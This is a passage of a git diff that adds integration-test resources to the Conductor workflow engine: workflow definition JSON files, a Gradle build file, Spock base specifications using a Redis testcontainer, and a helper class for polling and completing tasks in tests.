e() { return {should_not_execute: true}; } e();" + }, + "type": "LAMBDA" + } + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0 +} diff --git a/test-harness/src/test/resources/test_task_failed_parent_workflow.json b/test-harness/src/test/resources/test_task_failed_parent_workflow.json new file mode 100644 index 0000000..c1c3236 --- /dev/null +++ b/test-harness/src/test/resources/test_task_failed_parent_workflow.json @@ -0,0 +1,37 @@ +{ + "name": "test_task_failed_parent_wf", + "version": 1, + "tasks": [ + { + "name": "test_lambda_task1", + "taskReferenceName": "lambdaTask1", + "inputParameters": { + "lambdaValue": "${workflow.input.lambdaValue}", + "scriptExpression": "var i = 10; if ($.lambdaValue == 1){ return {testvalue: 'Lambda value was 1', iValue: i} } else { return {testvalue: 'Lambda value was NOT 1', iValue: i + 3} }" + }, + "type": "LAMBDA" + }, + { + "name": "test_task_failed_sub_wf", + "taskReferenceName": "test_task_failed_sub_wf", + "inputParameters": { + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "test_task_failed_sub_wf" + } + }, + { + "name": "test_lambda_task2", + "taskReferenceName": "lambdaTask2", + "inputParameters": { + "lambdaValue": "${workflow.input.lambdaValue}", + "scriptExpression": "var i = 10; if ($.lambdaValue == 1){ return {testvalue: 'Lambda value was 1', iValue: i} } else { return {testvalue: 'Lambda value was NOT 1', iValue: i + 3} }" + }, + "type": "LAMBDA" + } + ], + "schemaVersion": 2, + "ownerEmail": "test@harness.com", + "failureWorkflow": "failure_workflow" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/test_task_failed_sub_workflow.json b/test-harness/src/test/resources/test_task_failed_sub_workflow.json new file mode 100644 index 0000000..5f1e76e --- /dev/null +++ b/test-harness/src/test/resources/test_task_failed_sub_workflow.json @@ -0,0 +1,65 @@ +{ + "name": "test_task_failed_sub_wf", + "version": 1, + "tasks": [ + { + "name": "lambda", + "taskReferenceName": "lambda0", + "inputParameters": { + "input": "${workflow.input}", + "scriptExpression": "if ($.input.a==1){return {testvalue: true}} else{return {testvalue: false}}" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "terminate", + "taskReferenceName": "terminate0", + "inputParameters": { + "terminationStatus": "FAILED", + "workflowOutput": "${lambda0.output}" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/wait_workflow_integration_test.json b/test-harness/src/test/resources/wait_workflow_integration_test.json new file mode 100644 index 0000000..8cc567e --- /dev/null +++ b/test-harness/src/test/resources/wait_workflow_integration_test.json @@ -0,0 +1,44 @@ +{ + "name": "test_wait_workflow", + "version": 1, + "tasks": [ + { + "name": "wait", + "taskReferenceName": "wait0", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/workflow_that_starts_another_workflow.json b/test-harness/src/test/resources/workflow_that_starts_another_workflow.json new file mode 100644 index 0000000..ba3cf9c --- /dev/null +++ b/test-harness/src/test/resources/workflow_that_starts_another_workflow.json @@ -0,0 +1,23 @@ +{ + "name": "workflow_that_starts_another_workflow", + "description": "A workflow that uses START_WORKFLOW task to start another workflow", + "version": 1, + "tasks": [ + { + "name": "start_workflow", + "taskReferenceName": "st", + "inputParameters": { + "startWorkflow": "${workflow.input.startWorkflow}" + }, + "type": "START_WORKFLOW" + } + ], + "inputParameters": ["start_workflow"], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/workflow_with_sub_workflow_1_integration_test.json b/test-harness/src/test/resources/workflow_with_sub_workflow_1_integration_test.json new file mode 100644 index 0000000..890d611 --- /dev/null +++ b/test-harness/src/test/resources/workflow_with_sub_workflow_1_integration_test.json @@ -0,0 +1,58 @@ +{ + "name": "integration_test_wf_with_sub_wf", + "description": "integration_test_wf_with_sub_wf", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "someNullKey": null + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sub_workflow_task", + "taskReferenceName": "t2", + "inputParameters": { + "param1": "${workflow.input.param1}", + "param2": "${workflow.input.param2}", + "subwf": "${workflow.input.nextSubwf}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "${workflow.input.subwf}", + "version": 1 + }, + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "retryCount": 0 + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "failureWorkflow": "$workflow.input.failureWfName", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/workflow_with_synchronous_system_task.json b/test-harness/src/test/resources/workflow_with_synchronous_system_task.json new file mode 100644 index 0000000..c56fda7 --- /dev/null +++ b/test-harness/src/test/resources/workflow_with_synchronous_system_task.json @@ -0,0 +1,34 @@ +{ + "name": "workflow_with_synchronous_system_task", + "description": "A workflow with a simple task followed a synchronous task", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "type": "SIMPLE" + }, + { + "name": "jsonjq", + "taskReferenceName": "jsonjq", + "inputParameters": { + "queryExpression": ".tp2.TEST_SAMPLE | length", + "tp1": "${workflow.input.param1}", + "tp2": "${t1.output.op}" + }, + "type": "JSON_JQ_TRANSFORM" + } + ], + "inputParameters": [], + "outputParameters": { + "data": "${jsonjq.output.resources}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "example@email.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +} diff --git a/test-util/build.gradle b/test-util/build.gradle new file mode 100644 index 0000000..202089a --- /dev/null +++ b/test-util/build.gradle @@ -0,0 +1,57 @@ +plugins { + id 'groovy' +} +dependencies { + + + implementation project(':conductor-common') + implementation project(':conductor-core') + compileOnly project(':conductor-server') + implementation project(':conductor-rest') + implementation project(':conductor-grpc-server') + implementation project(':conductor-grpc-client') + implementation project(':conductor-redis-persistence') + + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + implementation "org.apache.commons:commons-lang3" + implementation 'org.springframework.boot:spring-boot-starter-validation' + implementation 'org.springframework.retry:spring-retry' + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + + implementation "org.apache.commons:commons-lang3" + + implementation "com.google.protobuf:protobuf-java:${revProtoBuf}" + implementation "com.google.guava:guava:${revGuava}" + testImplementation "org.springframework:spring-web" + + implementation "redis.clients:jedis:${revJedis}" + implementation "io.orkes.queues:orkes-conductor-queues:${revOrkesQueues}" + + + testImplementation "org.apache.groovy:groovy-all:${revGroovy}" + testImplementation "org.spockframework:spock-core:${revSpock}" + testImplementation "org.spockframework:spock-spring:${revSpock}" + testImplementation "org.awaitility:awaitility:${revAwaitility}" + + implementation "org.elasticsearch.client:elasticsearch-rest-client:7.17.29" + implementation "org.elasticsearch.client:elasticsearch-rest-high-level-client:7.17.29" + + implementation "org.testcontainers:elasticsearch:${revTestContainer}" + implementation "org.testcontainers:mysql:${revTestContainer}" + implementation "org.testcontainers:postgresql:${revTestContainer}" + implementation(group: 'com.rabbitmq', name: 'amqp-client'){ version{require "${revAmqpClient}"}} + + //In memory + implementation "org.rarefiedredis.redis:redis-java:${revRarefiedRedis}" + +} + +test { + testLogging { + exceptionFormat = 'full' + } +} diff --git a/test-util/src/test/groovy/com/netflix/conductor/test/base/AbstractResiliencySpecification.groovy b/test-util/src/test/groovy/com/netflix/conductor/test/base/AbstractResiliencySpecification.groovy new file mode 100644 index 0000000..44b15b8 --- /dev/null +++ b/test-util/src/test/groovy/com/netflix/conductor/test/base/AbstractResiliencySpecification.groovy @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.base + +import com.netflix.conductor.dao.QueueDAO +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.test.context.TestPropertySource + +@TestPropertySource(properties = [ + "conductor.system-task-workers.enabled=false", + "conductor.integ-test.queue-spy.enabled=true" +]) +abstract class AbstractResiliencySpecification extends AbstractSpecification { + + @Autowired + QueueDAO queueDAO +} diff --git a/test-util/src/test/groovy/com/netflix/conductor/test/base/AbstractSpecification.groovy b/test-util/src/test/groovy/com/netflix/conductor/test/base/AbstractSpecification.groovy new file mode 100644 index 0000000..c5aaee4 --- /dev/null +++ b/test-util/src/test/groovy/com/netflix/conductor/test/base/AbstractSpecification.groovy @@ -0,0 +1,89 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.base + +import com.netflix.conductor.ConductorTestApp +import com.netflix.conductor.service.WorkflowService +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.boot.test.context.SpringBootTest +import org.springframework.test.context.DynamicPropertyRegistry +import org.springframework.test.context.DynamicPropertySource +import org.springframework.test.context.TestPropertySource + +import com.netflix.conductor.core.execution.AsyncSystemTaskExecutor +import com.netflix.conductor.core.execution.WorkflowExecutor +import com.netflix.conductor.service.ExecutionService +import com.netflix.conductor.service.MetadataService +import com.netflix.conductor.test.util.WorkflowTestUtil +import org.conductoross.conductor.core.execution.WorkflowSweeper +import org.testcontainers.containers.GenericContainer +import org.testcontainers.utility.DockerImageName +import spock.lang.Specification + +@SpringBootTest(classes = ConductorTestApp.class) +@TestPropertySource(locations = "classpath:application-integrationtest.properties",properties = [ + "conductor.db.type=redis_standalone", + "conductor.app.sweeperThreadCount=1", + "conductor.app.sweeper.sweepBatchSize=10", + "conductor.queue.type=redis_standalone" +]) +abstract class AbstractSpecification extends Specification { + + private static redis + + static { + redis = new GenericContainer<>(DockerImageName.parse("redis:6.2-alpine")) + .withExposedPorts(6379) + redis.start() + } + + @Autowired + ExecutionService workflowExecutionService + + @Autowired + MetadataService metadataService + + @Autowired + WorkflowExecutor workflowExecutor + + @Autowired + WorkflowService workflowService + + @Autowired + WorkflowTestUtil workflowTestUtil + + @Autowired + AsyncSystemTaskExecutor asyncSystemTaskExecutor + + @DynamicPropertySource + static void dynamicProperties(DynamicPropertyRegistry registry) { + registry.add("conductor.db.type", () -> "redis_standalone") + registry.add("conductor.redis.availability-zone", () -> "us-east-1c") + registry.add("conductor.redis.data-center-region", () -> "us-east-1") + registry.add("conductor.redis.workflow-namespace-prefix", () -> "integration-test") + registry.add("conductor.redis.availability-zone", () -> "us-east-1c") + registry.add("conductor.redis.queue-namespace-prefix", () -> "integtest"); + registry.add("conductor.redis.hosts", () -> "localhost:${redis.getFirstMappedPort()}:us-east-1c") + registry.add("conductor.redis-lock.serverAddress", () -> String.format("redis://localhost:${redis.getFirstMappedPort()}")) + registry.add("conductor.queue.type", () -> "redis_standalone") + registry.add("conductor.db.type", () -> "redis_standalone") + } + + def cleanup() { + workflowTestUtil.clearWorkflows() + } + + void sweep(String workflowId) { + workflowExecutor.decide(workflowId) + } +} diff --git a/test-util/src/test/groovy/com/netflix/conductor/test/util/WorkflowTestUtil.groovy b/test-util/src/test/groovy/com/netflix/conductor/test/util/WorkflowTestUtil.groovy new file mode 100644 index 0000000..4222f67 --- /dev/null +++ b/test-util/src/test/groovy/com/netflix/conductor/test/util/WorkflowTestUtil.groovy @@ -0,0 +1,332 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.util + +import jakarta.annotation.PostConstruct +import org.apache.commons.lang3.StringUtils +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.stereotype.Component + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.core.WorkflowContext +import com.netflix.conductor.core.exception.NotFoundException +import com.netflix.conductor.core.execution.WorkflowExecutor +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.model.WorkflowModel +import com.netflix.conductor.service.ExecutionService +import com.netflix.conductor.service.MetadataService + +import com.fasterxml.jackson.databind.ObjectMapper + +/** + * This is a helper class used to initialize task definitions required by the tests when loaded up. + * The task definitions that are loaded up in {@link WorkflowTestUtil#taskDefinitions()} method as part of the post construct of the bean. + * This class is intended to be used in the Spock integration tests and provides helper methods to: + *

      + *
    • Terminate all the running Workflows
      • + *
    • Get the persisted task definition based on the taskName
      • + *
    • pollAndFailTask
      • + *
    • pollAndCompleteTask
      • + *
    • verifyPolledAndAcknowledgedTask
      • + *
    + * + * Usage: Autowire this class in any Spock based specification: + * + * {@literal @}Autowired + * WorkflowTestUtil workflowTestUtil + * + */ +@Component +class WorkflowTestUtil { + + private final MetadataService metadataService + private final ExecutionService workflowExecutionService + private final WorkflowExecutor workflowExecutor + private final QueueDAO queueDAO + private final ObjectMapper objectMapper + private static final int RETRY_COUNT = 1 + private static final String TEMP_FILE_PATH = "/input.json" + private static final String DEFAULT_EMAIL_ADDRESS = "test@harness.com" + + @Autowired + WorkflowTestUtil(MetadataService metadataService, ExecutionService workflowExecutionService, + WorkflowExecutor workflowExecutor, QueueDAO queueDAO, ObjectMapper objectMapper) { + this.metadataService = metadataService + this.workflowExecutionService = workflowExecutionService + this.workflowExecutor = workflowExecutor + this.queueDAO = queueDAO + this.objectMapper = objectMapper + } + + /** + * This function registers all the taskDefinitions required to enable spock based integration testing + */ + @PostConstruct + void taskDefinitions() { + WorkflowContext.set(new WorkflowContext("integration_app")) + + (0..20).collect { "integration_task_$it" } + .findAll { !getPersistedTaskDefinition(it).isPresent() } + .collect { new TaskDef(it, it, DEFAULT_EMAIL_ADDRESS, 1, 120, 120) } + .forEach { metadataService.registerTaskDef([it]) } + + (0..4).collect { "integration_task_0_RT_$it" } + .findAll { !getPersistedTaskDefinition(it).isPresent() } + .collect { new TaskDef(it, it, DEFAULT_EMAIL_ADDRESS, 0, 120, 120) } + .forEach { metadataService.registerTaskDef([it]) } + + metadataService.registerTaskDef([new TaskDef('short_time_out', 'short_time_out', DEFAULT_EMAIL_ADDRESS, 1, 5, 5)]) + + //This taskWithResponseTimeOut is required by the integration test which exercises the response time out scenarios + TaskDef taskWithResponseTimeOut = new TaskDef() + taskWithResponseTimeOut.name = "task_rt" + taskWithResponseTimeOut.timeoutSeconds = 120 + taskWithResponseTimeOut.retryCount = RETRY_COUNT + taskWithResponseTimeOut.retryDelaySeconds = 0 + taskWithResponseTimeOut.responseTimeoutSeconds = 10 + taskWithResponseTimeOut.ownerEmail = DEFAULT_EMAIL_ADDRESS + + TaskDef optionalTask = new TaskDef() + optionalTask.setName("task_optional") + optionalTask.setTimeoutSeconds(5) + optionalTask.setRetryCount(1) + optionalTask.setTimeoutPolicy(TaskDef.TimeoutPolicy.RETRY) + optionalTask.setRetryDelaySeconds(0) + optionalTask.setResponseTimeoutSeconds(5) + optionalTask.setOwnerEmail(DEFAULT_EMAIL_ADDRESS) + + TaskDef simpleSubWorkflowTask = new TaskDef() + simpleSubWorkflowTask.setName('simple_task_in_sub_wf') + simpleSubWorkflowTask.setRetryCount(0) + simpleSubWorkflowTask.setOwnerEmail(DEFAULT_EMAIL_ADDRESS) + + TaskDef subWorkflowTask = new TaskDef() + subWorkflowTask.setName('sub_workflow_task') + subWorkflowTask.setRetryCount(1) + subWorkflowTask.setResponseTimeoutSeconds(5) + subWorkflowTask.setRetryDelaySeconds(0) + subWorkflowTask.setOwnerEmail(DEFAULT_EMAIL_ADDRESS) + + TaskDef waitTimeOutTask = new TaskDef() + waitTimeOutTask.name = 'waitTimeout' + waitTimeOutTask.timeoutSeconds = 2 + waitTimeOutTask.responseTimeoutSeconds = 2 + waitTimeOutTask.retryCount = 1 + waitTimeOutTask.timeoutPolicy = TaskDef.TimeoutPolicy.RETRY + waitTimeOutTask.retryDelaySeconds = 10 + waitTimeOutTask.ownerEmail = DEFAULT_EMAIL_ADDRESS + + TaskDef userTask = new TaskDef() + userTask.setName("user_task") + userTask.setTimeoutSeconds(20) + userTask.setResponseTimeoutSeconds(20) + userTask.setRetryCount(1) + userTask.setTimeoutPolicy(TaskDef.TimeoutPolicy.RETRY) + userTask.setRetryDelaySeconds(10) + userTask.setOwnerEmail(DEFAULT_EMAIL_ADDRESS) + + TaskDef concurrentExecutionLimitedTask = new TaskDef() + concurrentExecutionLimitedTask.name = "test_task_with_concurrency_limit" + concurrentExecutionLimitedTask.concurrentExecLimit = 1 + concurrentExecutionLimitedTask.ownerEmail = DEFAULT_EMAIL_ADDRESS + + TaskDef rateLimitedTask = new TaskDef() + rateLimitedTask.name = 'test_task_with_rateLimits' + rateLimitedTask.rateLimitFrequencyInSeconds = 10 + rateLimitedTask.rateLimitPerFrequency = 1 + rateLimitedTask.ownerEmail = DEFAULT_EMAIL_ADDRESS + + TaskDef rateLimitedSimpleTask = new TaskDef() + rateLimitedSimpleTask.name = 'test_simple_task_with_rateLimits' + rateLimitedSimpleTask.rateLimitFrequencyInSeconds = 10 + rateLimitedSimpleTask.rateLimitPerFrequency = 1 + rateLimitedSimpleTask.ownerEmail = DEFAULT_EMAIL_ADDRESS + + TaskDef eventTaskX = new TaskDef() + eventTaskX.name = 'eventX' + eventTaskX.timeoutSeconds = 1 + eventTaskX.responseTimeoutSeconds = 1 + eventTaskX.ownerEmail = DEFAULT_EMAIL_ADDRESS + + metadataService.registerTaskDef( + [taskWithResponseTimeOut, optionalTask, simpleSubWorkflowTask, + subWorkflowTask, waitTimeOutTask, userTask, eventTaskX, + rateLimitedTask, rateLimitedSimpleTask, concurrentExecutionLimitedTask] + ) + } + + /** + * This is an helper method that enables each test feature to run from a clean state + * This method is intended to be used in the cleanup() or cleanupSpec() method of any spock specification. + * By invoking this method all the running workflows are terminated. + * @throws Exception When unable to terminate any running workflow + */ + void clearWorkflows() throws Exception { + List workflowsWithVersion = metadataService.getWorkflowDefs() + .collect { workflowDef -> workflowDef.getName() + ":" + workflowDef.getVersion() } + for (String workflowWithVersion : workflowsWithVersion) { + String workflowName = StringUtils.substringBefore(workflowWithVersion, ":") + int version = Integer.parseInt(StringUtils.substringAfter(workflowWithVersion, ":")) + List running = workflowExecutionService.getRunningWorkflows(workflowName, version) + for (String workflowId : running) { + WorkflowModel workflow = workflowExecutor.getWorkflow(workflowId, false) + if (!workflow.getStatus().isTerminal()) { + workflowExecutor.terminateWorkflow(workflowId, "cleanup") + } + } + } + + queueDAO.queuesDetail().keySet() + .forEach { queueDAO.flush(it) } + + new FileOutputStream(this.getClass().getResource(TEMP_FILE_PATH).getPath()).close() + } + + /** + * A helper method to retrieve a task definition that is persisted + * @param taskDefName The name of the task for which the task definition is requested + * @return an Optional of the TaskDefinition + */ + Optional getPersistedTaskDefinition(String taskDefName) { + try { + return Optional.of(metadataService.getTaskDef(taskDefName)) + } catch (Exception applicationException) { + return Optional.empty() + } + } + + /** + * A helper methods that registers workflows based on the paths of the json file representing a workflow definition + * @param workflowJsonPaths a comma separated var ags of the paths of the workflow definitions + */ + void registerWorkflows(String... workflowJsonPaths) { + workflowJsonPaths.collect { readFile(it) } + .forEach { metadataService.updateWorkflowDef(it) } + } + + WorkflowDef readFile(String path) { + InputStream inputStream = getClass().getClassLoader().getResourceAsStream(path) + return objectMapper.readValue(inputStream, WorkflowDef.class) + } + + /** + * A helper method intended to be used in the when: block of the spock test feature + * This method is intended to be used to poll and update the task status as failed + * It also provides a delay to return if needed after the task has been updated to failed + * @param taskName name of the task that needs to be polled and failed + * @param workerId name of the worker id using which a task is polled + * @param failureReason the reason to fail the task that will added to the task update + * @param outputParams An optional output parameters if available will be added to the task before updating to failed + * @param waitAtEndSeconds an optional delay before the method returns, if the value is 0 skips the delay + * @return A Tuple of taskResult and acknowledgement of the poll + */ + Tuple pollAndFailTask(String taskName, String workerId, String failureReason, Map outputParams = null, int waitAtEndSeconds = 0) { + def polledIntegrationTask = workflowExecutionService.poll(taskName, workerId) + def ackPolledIntegrationTask = workflowExecutionService.ackTaskReceived(polledIntegrationTask.taskId) + def taskResult = new TaskResult(polledIntegrationTask) + taskResult.status = TaskResult.Status.FAILED + taskResult.reasonForIncompletion = failureReason + if (outputParams) { + outputParams.forEach { k, v -> + taskResult.outputData[k] = v + } + } + workflowExecutionService.updateTask(taskResult) + return waitAtEndSecondsAndReturn(waitAtEndSeconds, polledIntegrationTask, ackPolledIntegrationTask) + } + + /** + * A helper method to introduce delay and convert the polledIntegrationTask and ackPolledIntegrationTask + * into a tuple. This method is intended to be used by pollAndFailTask and pollAndCompleteTask + * @param waitAtEndSeconds The total seconds of delay before the method returns + * @param ackedTaskResult the task result created after ack + * @param ackPolledIntegrationTask a acknowledgement of a poll + * @return A Tuple of polledTask and acknowledgement of the poll + */ + static Tuple waitAtEndSecondsAndReturn(int waitAtEndSeconds, Task polledIntegrationTask, boolean ackPolledIntegrationTask) { + if (waitAtEndSeconds > 0) { + Thread.sleep(waitAtEndSeconds * 1000) + } + return new Tuple(polledIntegrationTask, ackPolledIntegrationTask) + } + + /** + * A helper method intended to be used in the when: block of the spock test feature + * This method is intended to be used to poll and update the task status as completed + * It also provides a delay to return if needed after the task has been updated to completed + * @param taskName name of the task that needs to be polled and completed + * @param workerId name of the worker id using which a task is polled + * @param outputParams An optional output parameters if available will be added to the task before updating to completed + * @param waitAtEndSeconds waitAtEndSeconds an optional delay before the method returns, if the value is 0 skips the delay + * @return A Tuple of polledTask and acknowledgement of the poll + */ + Tuple pollAndCompleteTask(String taskName, String workerId, Map outputParams = null, int waitAtEndSeconds = 0) { + def polledIntegrationTask = workflowExecutionService.poll(taskName, workerId) + if (polledIntegrationTask == null) { + return new Tuple(null, null) + } + def ackPolledIntegrationTask = workflowExecutionService.ackTaskReceived(polledIntegrationTask.taskId) + def taskResult = new TaskResult(polledIntegrationTask) + taskResult.status = TaskResult.Status.COMPLETED + if (outputParams) { + outputParams.forEach { k, v -> + taskResult.outputData[k] = v + } + } + workflowExecutionService.updateTask(taskResult) + return waitAtEndSecondsAndReturn(waitAtEndSeconds, polledIntegrationTask, ackPolledIntegrationTask) + } + + Tuple pollAndCompleteLargePayloadTask(String taskName, String workerId, String outputPayloadPath) { + def polledIntegrationTask = workflowExecutionService.poll(taskName, workerId) + def ackPolledIntegrationTask = workflowExecutionService.ackTaskReceived(polledIntegrationTask.taskId) + def taskResult = new TaskResult(polledIntegrationTask) + taskResult.status = TaskResult.Status.COMPLETED + taskResult.outputData = null + taskResult.externalOutputPayloadStoragePath = outputPayloadPath + workflowExecutionService.updateTask(taskResult) + return new Tuple(polledIntegrationTask, ackPolledIntegrationTask) + } + + /** + * A helper method intended to be used in the then: block of the spock test feature, ideally intended to be called after either: + * pollAndCompleteTask function or pollAndFailTask function + * @param completedTaskAndAck A Tuple of polledTask and acknowledgement of the poll + * @param expectedTaskInputParams a map of input params that are verified against the polledTask that is part of the completedTaskAndAck tuple + */ + static void verifyPolledAndAcknowledgedTask(Tuple completedTaskAndAck, Map expectedTaskInputParams = null) { + assert completedTaskAndAck[0]: "The task polled cannot be null" + def polledIntegrationTask = completedTaskAndAck[0] as Task + def ackPolledIntegrationTask = completedTaskAndAck[1] as boolean + assert polledIntegrationTask + assert ackPolledIntegrationTask + if (expectedTaskInputParams) { + expectedTaskInputParams.forEach { + k, v -> + assert polledIntegrationTask.inputData.containsKey(k) + assert polledIntegrationTask.inputData[k] == v + } + } + } + + static void verifyPolledAndAcknowledgedLargePayloadTask(Tuple completedTaskAndAck) { + assert completedTaskAndAck[0]: "The task polled cannot be null" + def polledIntegrationTask = completedTaskAndAck[0] as Task + def ackPolledIntegrationTask = completedTaskAndAck[1] as boolean + assert polledIntegrationTask + assert ackPolledIntegrationTask + } +} diff --git a/test-util/src/test/java/com/netflix/conductor/ConductorTestApp.java b/test-util/src/test/java/com/netflix/conductor/ConductorTestApp.java new file mode 100644 index 0000000..a7bad6c --- /dev/null +++ b/test-util/src/test/java/com/netflix/conductor/ConductorTestApp.java @@ -0,0 +1,41 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor; + +import java.io.IOException; + +import org.conductoross.conductor.RestConfiguration; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.FilterType; + +/** Copy of com.netflix.conductor.Conductor for use by @SpringBootTest in AbstractSpecification. */ + +// Prevents from the datasource beans to be loaded, AS they are needed only for specific databases. +// In case that SQL database is selected this class will be imported back in the appropriate +// database persistence module. +@SpringBootApplication(exclude = DataSourceAutoConfiguration.class) +@ComponentScan( + basePackages = {"com.netflix.conductor", "io.orkes.conductor", "org.conductoross"}, + excludeFilters = + @ComponentScan.Filter( + type = FilterType.ASSIGNABLE_TYPE, + classes = {RestConfiguration.class})) +public class ConductorTestApp { + + public static void main(String[] args) throws IOException { + SpringApplication.run(ConductorTestApp.class, args); + } +} diff --git a/test-util/src/test/java/com/netflix/conductor/common/config/TestObjectMapperConfiguration.java b/test-util/src/test/java/com/netflix/conductor/common/config/TestObjectMapperConfiguration.java new file mode 100644 index 0000000..76e6e6d --- /dev/null +++ b/test-util/src/test/java/com/netflix/conductor/common/config/TestObjectMapperConfiguration.java @@ -0,0 +1,28 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

